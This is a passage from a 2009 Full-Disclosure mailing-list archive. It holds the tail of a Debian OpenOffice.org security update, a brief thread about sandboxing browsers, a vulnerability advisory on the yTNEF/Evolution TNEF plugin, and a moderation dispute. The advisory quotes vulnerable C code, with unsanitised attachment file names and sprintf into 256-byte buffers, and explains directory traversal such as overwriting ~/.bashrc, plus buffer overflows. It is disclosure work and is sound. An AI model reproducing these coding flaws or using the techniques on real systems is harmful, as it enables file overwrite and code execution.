    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dbg_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum: 45317918 5cfc7ecf2bbdcf3b33d593f2be56028e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dev_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:  3927980 73af2dbd99d32fcd902ceca8c7320e4f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-draw_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:  2616694 d75f0c2b62af9c1ba59d17af56583d6a
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-evolution_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   358258 21a8c80ab35388a816238ae7c0f277b1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-filter-binfilter_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:  7833086 6adbfac0ba082210af0b3540cd7b6e09
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gnome_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   361874 2fcf431df16bfebd96cef761a5252ce0
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   464392 544e408f6a2a9a683b7bb349ac5b3a41
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-headless_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   608610 5d811d9eae9a9aaa60b3387ab312e7be
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-impress_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   793732 6609aa528081cf014ece8c671a0d498e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-kde_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   492932 e7408f3af1a409b2733bf7724661010c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-math_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   554768 51d38ffa86376e73666ee1f6339df4af
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-officebean_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   323160 ecace503df7e169b4b7552736015a28d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-ogltrans_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   317634 e74f17c48cfe5671bbbde0534edda743
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-presentation-minimizer_1.0+OOo2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   493218 6bf83e4da22f3eb4fa9ba8891bd99c2a
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-qa-tools_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   857412 efa9b9dbeb7f063a8671cb7c3e1c4eb5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-report-builder-bin_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:  1000098 76192029b9118c09d35c13cb372652a3
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-sdbc-postgresql_0.7.6+OOo2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   699068 e8cedf368dd3edde2bfb915257e840c2
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-writer_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:  6748946 f03b7c3c505bcadebb57e4a1f69c02fd
    http://security.debian.org/pool/updates/main/o/openoffice.org/python-uno_2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:   397106 b19ccf51b877e5197152edee4f217e5e
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure_1.4+OOo2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:  3070944 29a3058178f2f8e205c96d7634f9d65a
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure-dbg_1.4+OOo2.4.1+dfsg-1+lenny3_powerpc.deb
      Size/MD5 checksum:  1452836 03e93f5e29d6b4eaf77439aa07e60ffa

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   138542 df17cb7e95957cb0c4d9b942f92cb053
    http://security.debian.org/pool/updates/main/o/openoffice.org/mozilla-openoffice.org_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   310906 56554f046e34d84316a10f126ace2be4
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   277100 d98450172064af663d7b63e4520f1acc
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:  3012664 8c57bdc79371a97078e84a9d1b801561
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base-core_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   999248 e3eebd75b4dea8fe3fdfabfeff286c87
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-calc_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:  5954450 15fc96a6134c822c23410cde3bb3bf8e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-core_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum: 40567856 1e61037c98de5d9d2e3146b36ec6c6d6
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dbg_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum: 47483034 375cdf0ff446fbd69254aa3b2a28af20
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dev_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:  3888848 6f1642f71c067e9fbff4160b489b6f1f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-draw_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:  3052452 bf4b03a62bf6a84774fd3a4584e62aca
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-evolution_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   362730 f05fd2a0384c2ff48420da04d5c07f21
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-filter-binfilter_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:  8971264 595e1088d1aa42e77989b4c759deb6fc
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gcj_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:  4482768 7b5d0a292fd526fc9d45a7e5dba8f388
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gnome_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   359498 8f9c41e523770442ec4a1adbc858bb94
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   482148 51733feabe624f8c01ae11fa2afe44c2
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-headless_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   843164 8b1df46c939457fc074fca85acb153d0
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-impress_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   917874 abcacda4374fcd91d72535d40cf90624
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-kde_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   503188 44fb9121c4dd68ccb9339068068c9f83
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-math_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   602396 862195e5e2f9bcdf83ba746b854857ca
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-officebean_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   320998 33210c2ab78bd1b27bc5df609d3a650f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-ogltrans_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   322164 5dbe139ee8b17c4b1845c73d5e4f897f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-presentation-minimizer_1.0+OOo2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   526624 d0d440fc51371e100db83c4b1c0302c0
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-qa-tools_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   868386 6cd13f49cef10833cd20a6a362d15996
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-report-builder-bin_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:  1152496 85ab1aad1045b0430f34c2e04c7cba32
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-sdbc-postgresql_0.7.6+OOo2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   735388 5c4d8435f0a1348ce1e5a19f4cb1f9d9
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-writer_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:  7901512 6e01794930a69deaba1ae2445133df9a
    http://security.debian.org/pool/updates/main/o/openoffice.org/python-uno_2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:   399704 dc28299d63e25a37f911a0bd32b8f33d
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure_1.4+OOo2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:  3298710 1a8ed4186b1b365b618f3df91e324565
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure-dbg_1.4+OOo2.4.1+dfsg-1+lenny3_s390.deb
      Size/MD5 checksum:  1385550 7f57678d9b813ce4ac8194b74fd1c1bf

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/cli-uno-bridge_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   300854 9c83ef90d489f4a56d297067f777dc19
    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   136708 c08b4c55f0eedf70cecb06aff2461bf6
    http://security.debian.org/pool/updates/main/o/openoffice.org/mozilla-openoffice.org_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   308366 adce0b6951ddfabc5241f74e91ca460d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   277104 d9baebfb2cc3714dee4f2b774b9f10e9
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:  2965938 3ced4be117248656dd5eca3b1df2ea31
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base-core_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:  1033286 964e9038169d3aee1f0dfcdf2d4d1931
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-calc_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:  5819260 12aeed1fb6508bce6087041cab96b285
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-core_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum: 39635938 c0c7bf542118615fa48e30264bf8a702
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dbg_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum: 45141990 9a8574eaf39380cf9ec6073d5fc809a4
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dev_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:  3895352 360a66a13441dcb496f29275be48f1e8
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-draw_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:  2929472 dbbac60451dc9c9f3407b821df10e82d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-evolution_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   363260 6a3f55061990f1b0fed3a395391eeb73
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-filter-binfilter_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:  8613724 de623a0cf9c527e4f49c0c28e84d1fd2
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gcj_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:  4016948 e5415b9e443361ec086be8d97da4ccfc
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gnome_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   356330 b0e21d5dd7fbf599096c67dbd77e919d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   466006 3597263d62ca59ad39fd19d1dde026e2
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-headless_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   777770 4b2b0378dbf8940a2ea1bc57f81ee394
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-impress_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   943276 820c42dd6b79cfe5b86ce363eb7cb750
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-kde_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   499608 e1096506491885f698fc4e46f35462c8
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-math_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   570644 0ad8a3b735b642633f6985ab4ef64a78
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-officebean_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   320720 f0f51c9b5bcaa682c3b2ff90f0e040ba
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-ogltrans_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   322866 2222c51cdf6927c422ad8ac590a941a8
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-presentation-minimizer_1.0+OOo2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   525522 24713603ee920b13cb525ba3af0f20fa
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-qa-tools_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   854918 22c3d60244ab611e2b7eea2e0d39c528
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-report-builder-bin_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:  1129394 f2777a668763f8d6d115d6c7a48101f7
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-sdbc-postgresql_0.7.6+OOo2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   754924 cca342acc526a11549eddfad16f55223
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-writer_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:  7581682 409056b76ba9055d3b3f856d1d81a868
    http://security.debian.org/pool/updates/main/o/openoffice.org/python-uno_2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:   397142 db800368eb768230311834e15ddc9e57
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure_1.4+OOo2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:  3267174 093b0387e892c4478ca0c099ccbbcc84
    http://security.debian.org/pool/updates/main/o/openoffice.org/ure-dbg_1.4+OOo2.4.1+dfsg-1+lenny3_sparc.deb
      Size/MD5 checksum:  1313222 49af023ed1ae506f7011957bac3005ad


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iD8DBQFKoVS5W5ql+IAeqTIRAgQbAJ9/JOxocS5fSZMnuQBzvpe0R/cGQQCgqYG7
Zph75gobLaZ2R9V4SYVHqZA=
=BfWP
-----END PGP SIGNATURE-----


From fatherlaptop at gmail.com  Sat Sep  5 03:28:15 2009
From: fatherlaptop at gmail.com (Fatherlaptop)
Date: Fri, 4 Sep 2009 21:28:15 -0500
Subject: [Full-disclosure] why not a sandbox
In-Reply-To: <1252095175.4308.47.camel@hkb-desktop>
References: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com>
	<1252095175.4308.47.camel@hkb-desktop>
Message-ID: <54ED8AD2-5191-454B-BB3C-5A1107EF732A@gmail.com>

ok. that's cool. not sure about enterprise compatibility or my English  
but will check it out. my other option is front end. Lately, we have  
ha "lots" of drive by infections. I have though "trained" users and  
get calls on the "fake alert" box.

It's a 3GS iPhone Thang!

On Sep 4, 2009, at 3:12 PM, Kurth Bemis <kurth.bemis at gmail.com> wrote:

> Check out:
>
> http://www.sandboxie.com/
> http://www.xenocode.com/Browsers/
>
> ~k
>
> On Fri, 2009-09-04 at 13:05 -0500, RandallM wrote:
>> how come we just can't sandbox the browser in away from the system.
>> its the users that just get gmail and click links, watch youtube vids
>> and check FaceBook and Mypace that infect the network!
>>
>


From lists at akitasecurity.nl  Sun Sep  6 11:50:04 2009
From: lists at akitasecurity.nl (Akita Software Security)
Date: Sun, 06 Sep 2009 12:50:04 +0200
Subject: [Full-disclosure] yTNEF/Evolution TNEF Attachment decoder plugin
 directory traversal & buffer overflow vulnerabilities
Message-ID: <1252234204.5194.70.camel@vgn-tz31xn>

------------------------------------------------------------------------
yTNEF/Evolution TNEF Attachment decoder plugin directory traversal &
buffer overflow vulnerabilities
------------------------------------------------------------------------
Yorick Koster, June 2009

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------

yTNEF & the Evolution TNEF Attachment decoder plugin are affected by
several directory traversal and buffer overflow vulnerabilities. The 
directory traversal vulnerabilities allow attackers to overwrite or 
create local files with the privileges of the target user. Exploiting 
the buffer overflow vulnerabilities allows for arbitrary code execution 
with the privileges of the target user.

------------------------------------------------------------------------
See also
------------------------------------------------------------------------

- #2009-013 yTNEF/Evolution TNEF attachment decoder input sanitization 
errors [2]

------------------------------------------------------------------------
Tested version
------------------------------------------------------------------------

These vulnerabilities were discovered using the latest (stable) versions
of Evolution (currently 2.62.2) and yTNEF (currently 2.6). The 
vulnerabilities were verified on the following Linux distributions:

 - GNOME version of Mandriva Linux 2009 Spring running Evolution 
2.26.1.1 (Evolution plugin installed by default)
 - Ubuntu 9.04 running Evolution 2.26.1 (with 
evolution-plugins-experimental package installed)

------------------------------------------------------------------------
Affected functions
------------------------------------------------------------------------

The following functions are affected by these issues:

Evolution plugin:
	* processTnef()
	* saveVCard()
	* saveVCalendar()
	* saveVTask()

yTNEF:
	* ProcessTNEF()
	* SaveVCard()
	* SaveVCalendar()
	* SaveVTask()

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------

There is currently no fix available.

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------

Transport Neutral Encapsulation Format (TNEF) is a proprietary e-mail 
attachment format used by Microsoft Outlook and Microsoft Exchange 
Server. A plugin [3] for Evolution exists that provides basic support 
for TNEF encoded e-mails. This plugin uses the ytnef library [4] 
(libytnef) for processing TNEF messages. It borrows code from the ytnef 
program, which is a program to work with procmail to decode TNEF streams
(winmail.dat attachments). Both applications share (almost) code and 
are, because of this, both affected by the issues described in this 
document.

------------------------------------------------------------------------
Evolution TNEF Attachment decoder plugin
------------------------------------------------------------------------

The plugin is started on e-mail attachments that have a MIME type of 
either application/vnd.ms-tnef or application/ms-tnef. It creates a 
temporary directory under ~/.evolution/cache/tmp using the format 
tnef-attachment-XXXXXX. The TNEF attachment is saved as 
.evo-attachment.tnef.

void
org_gnome_format_tnef(void *ep, EMFormatHookTarget *t)
{
	[...]
	
	tmpdir = e_mkdtemp("tnef-attachment-XXXXXX");
	if (tmpdir == NULL)
		return;
	
	filepath = tmpdir;
	
	name = g_build_filename(tmpdir, ".evo-attachment.tnef", 
NULL);
	
	out = camel_stream_fs_new_with_name(name, O_RDWR|O_CREAT, 0666);


The saved file is parsed by TNEFParseFile(), the result is stored in a 
struct of the type TNEFStruct. This struct is passed to the function 
processTnef(), which tries to extract all relevant data and attachments 
from the TNEF stream. Each relevant part of the TNEF stream is stored 
within the previously created temporary directory that are made 
available to the end user as separate e-mail attachments.

	/* Extracting the winmail.dat */
	TNEFInitialize(tnef);
	tnef->Debug = verbose;
	if (TNEFParseFile(name, tnef) == -1) {
		printf("ERROR processing file\n");
	}
	processTnef(tnef);
	
	TNEFFree(tnef);
	/* Extraction done */

------------------------------------------------------------------------
yTNEF
------------------------------------------------------------------------

yTNEF processes TNEF files in a similar manner. It receives a file name 
from the command line, calls TNEFParseFile() that creates a struct 
TNEFStruct after which ProcessTNEF() is called. If ProcessTNEF() finds 
attachments it can process, these attachments will be saved locally. The
ProcessTNEF() function is almost the same as the processTnef() function
of the Evolution plugin.

int main(int argc, char ** argv) {
	[...]
	
	for(i=1; i<argc; i++) {
		[...]
	
		TNEFInitialize(&TNEF);
		TNEF.Debug = verbose;
		if (TNEFParseFile(argv[ i], &TNEF) == -1) {
			printf("ERROR processing file\n");
			continue;
		}
		ProcessTNEF(TNEF);
		TNEFFree(&TNEF);
	}
}

------------------------------------------------------------------------
Directory traversal
------------------------------------------------------------------------

If a TNEF file is processed, both yTNEF and the Evolution plugin will 
save certain types of TNEF structures. Special processing functions are 
available for Contacts, Tasks & Appointments. These functions are 
called if the Message Class is set to a certain value.

void processTnef(TNEFStruct *tnef) {
	[...]
	
	/* First see if this requires special processing. */
	/* ie: it's a Contact Card, Task, or Meeting request (vCal/vCard) 
*/
	if (tnef->messageClass[0] != 0)  {
		if (strcmp(tnef->messageClass, "IPM.Contact") == 0) {
			saveVCard(tnef);
		}
		if (strcmp(tnef->messageClass, "IPM.Task") == 0) {
			saveVTask(tnef);
		}
		if (strcmp(tnef->messageClass, "IPM.Appointment") == 0) {
			saveVCalendar(tnef);
			foundCal = 1;
		}
	}
	
	if ((filename = MAPIFindUserProp(&(tnef->MapiProperties),
				PROP_TAG(PT_STRING8,0x24))) != MAPI_UNDEFINED) {
		if (strcmp(filename->data, "IPM.Appointment") == 0) {
			/* If it's "indicated" twice, we don't want to 
save 2 calendar entries. */
			if (foundCal == 0) {
				saveVCalendar(tnef);
			}
		}
	}

There is also code that treats TNEF structures with the Message Class 
set to IPM.Microsoft Mail.Note. In the Evolution plugin, this code is 
never called as the global variable saveRTF is set to zero. In case of 
yTNEF this global variable is controlled by the command line.

if (strcmp(TNEF.messageClass, "IPM.Microsoft Mail.Note") == 0)
 {
	if ((saveRTF == 1) && (TNEF.subject.size > 0)) {
		// Description
		if ((filename=MAPIFindProperty(&(TNEF.MapiProperties),
				PROP_TAG(PT_BINARY, PR_RTF_COMPRESSED)))
			!= MAPI_UNDEFINED) {
[...]

After the structures mentioned before have been processed, all other 
attachments are also saved locally. The file names used to save the 
attachments are obtained from the TNEF data. In case of normal 
attachments, the code first looks if the TNEF data contains MAPI 
properties and if so, it will look for specific properties. If these 
exists, a file name is extracted from these properties. If the 
properties do not exist, the attachment's title is used. This title
is also set through a TNEF structure. If this title is also not 
available, a default file name will be used instead.

if ((RealAttachment == 1) || (saveintermediate == 1)) {
/* Ok, it's not an embedded stream, so now we */
/* process it. */
if ((filename = MAPIFindProperty(&(p->MAPI), 
		PROP_TAG(30,0x3707))) 
	== MAPI_UNDEFINED) {
	if ((filename = MAPIFindProperty(&(p->MAPI), 
				PROP_TAG(30,0x3001))) 
			== MAPI_UNDEFINED) {
		filename = &(p->Title);
	}
}
if (filename->size == 1) {
	filename = (variableLength*)malloc(sizeof(variableLength));
	filename->size = 20;
	filename->data = (char*)malloc(20);
	sprintf(filename->data, "file_%03i.dat", count);
}
if (filepath == NULL) {
	sprintf(ifilename, "%s", filename->data);
} else {
	sprintf(ifilename, "%s/%s", filepath, filename->data);
}
for(i=0; i<strlen(ifilename); i++) 
	if (ifilename[ i] == ' ') 
		ifilename[ i] = '_';
	
	if ((fptr = fopen(ifilename, "wb"))==NULL) {
		printf("ERROR: Error writing file to disk!");
	} else {
		if (object == 1) {
		fwrite(filedata->data + 16, 
			sizeof(BYTE), 
			filedata->size - 16, 
			fptr);
		} else {
		fwrite(filedata->data, 
			sizeof(BYTE), 
			filedata->size, 
			fptr);
		}
		fclose(fptr);
	}
}

Before a new file is created, all spaces within the file name are 
replaced with the underscore character. No additional sanitation is 
performed on the file name. Because of this, it is possible to traverse 
outside of the temporary directory and create or overwrite any file with
the privileges of the target user. This allows an attacker to execute 
arbitrary code for example by overwriting ~/.bashrc.

------------------------------------------------------------------------
Buffer overflow
------------------------------------------------------------------------

Beside the directory traversal, it is also possible to trigger a buffer 
overflow by supplying an overly long file name. This is possible, 
because the file name is copied in a fixed size buffer (256 bytes). In 
the Evolution plugin, this triggers a buffer overflow on the heap. In 
case of yTNEF the file name is copied in a buffer on the stack, thus 
allowing for a stack-based buffer overflow to occur.

Evolution plugin:

void processTnef(TNEFStruct *tnef) {
	[...]
	ifilename = (char *) g_malloc(sizeof(char) * 256);
	[...]
		if (filepath == NULL) {
			sprintf(ifilename, "%s", filename->data);
		} else {
			sprintf(ifilename, "%s/%s", filepath, filename->data);
		}

yTNEF:

void ProcessTNEF(TNEFStruct TNEF) {
	[...]	    
	char ifilename[256];
	[...]
		if (filepath == NULL) {
			sprintf(ifilename, "%s", filename->data);
		} else {
			sprintf(ifilename, "%s/%s", filepath, filename->data);
		}

------------------------------------------------------------------------
References
------------------------------------------------------------------------

[1] http://www.akitasecurity.nl/advisory.php?id=AK20090601
[2] http://www.ocert.org/advisories/ocert-2009-013.html
[3] http://www.go-evolution.org/Tnef
[4] http://sourceforge.net/projects/ytnef/

------------------------------------------------------------------------
-- 
------------------------------------------------------------------------
Akita Software Security (Kvk 37144957)
http://www.akitasecurity.nl/
------------------------------------------------------------------------
Key fingerprint = 5FC0 F50C 8B3A 4A61 7A1F  2BFF 5482 D26E D890 5A65
http://keyserver.pgp.com/vkd/DownloadKey.event?keyid=0x5482D26ED8905A65
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090906/bbb92583/attachment.bin 

From full-censorship at hushmail.com  Sun Sep  6 15:00:54 2009
From: full-censorship at hushmail.com (full-censorship at hushmail.com)
Date: Sun, 06 Sep 2009 14:00:54 +0000
Subject: [Full-disclosure] Blonde moment for the list administrator
Message-ID: <20090906140054.7731420040@smtp.hushmail.com>

vulcanius <vulcanius at gmail.com> wrote:
>Go away n3td3v.

i'm no fan of the n3td3v group but i do believe in freedom of 
speech.


From stuart.carter at spamcop.net  Sun Sep  6 15:18:57 2009
From: stuart.carter at spamcop.net (Stuart Carter)
Date: Sun, 06 Sep 2009 09:18:57 -0500
Subject: [Full-disclosure] Blonde moment for the list administrator
In-Reply-To: <20090906140054.7731420040@smtp.hushmail.com>
References: <20090906140054.7731420040@smtp.hushmail.com>
Message-ID: <4AA3C4D1.9060606@spamcop.net>

full-censorship at hushmail.com wrote:
> vulcanius <vulcanius at gmail.com> wrote:
>   
>> Go away n3td3v.
>>     
>
> i'm no fan of the n3td3v group but i do believe in freedom of 
> speech.
>
>   


what has freedom of speech got to do with it? This is a private email 
list, maintained at someone else's cost, for the purpose of spreading 
information about security vulnerabilities. It is not a platform for any 
weenie to start yelling "fire" in a crowded cinema.


If you don't like how it's done, start your own.



From Valdis.Kletnieks at vt.edu  Sun Sep  6 15:48:45 2009
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Sun, 06 Sep 2009 10:48:45 -0400
Subject: [Full-disclosure] Blonde moment for the list administrator
In-Reply-To: Your message of "Sun, 06 Sep 2009 14:00:54 -0000."
	<20090906140054.7731420040@smtp.hushmail.com>
References: <20090906140054.7731420040@smtp.hushmail.com>
Message-ID: <64298.1252248525@turing-police.cc.vt.edu>

On Sun, 06 Sep 2009 14:00:54 -0000, full-censorship at hushmail.com said:
> vulcanius <vulcanius at gmail.com> wrote:
> >Go away n3td3v.
> 
> i'm no fan of the n3td3v group but i do believe in freedom of 
> speech.

Note that there are some well-established limitations on the freedom of
speech.  The one that is of concern here is the freedom of others to not
support speech they don't approve of.  You're allowed to get on a soapbox
at the corner and talk away, you're allowed to print up leaflets at your
own expense and hand them out.  However, in general there is *no* requirement
that newspapers print your letters to the editor, nor is there one that
TV and radio stations have to give you a show. You're allowed to spend your
own money and resources to get your message out - you're in general not
allowed to insist that anybody else spend their money and resource on
your message.

There's no requirement that the people footing the bill for the list have to
give *everybody* access. Although the stated *goal* is to let as many different
opinions be heard as possible, the list admins are within their rights to do
some pruning to keep the signal/noise ratio within workable limits.

The few people who aren't allowed to post to the list are free to go find some
other forum.
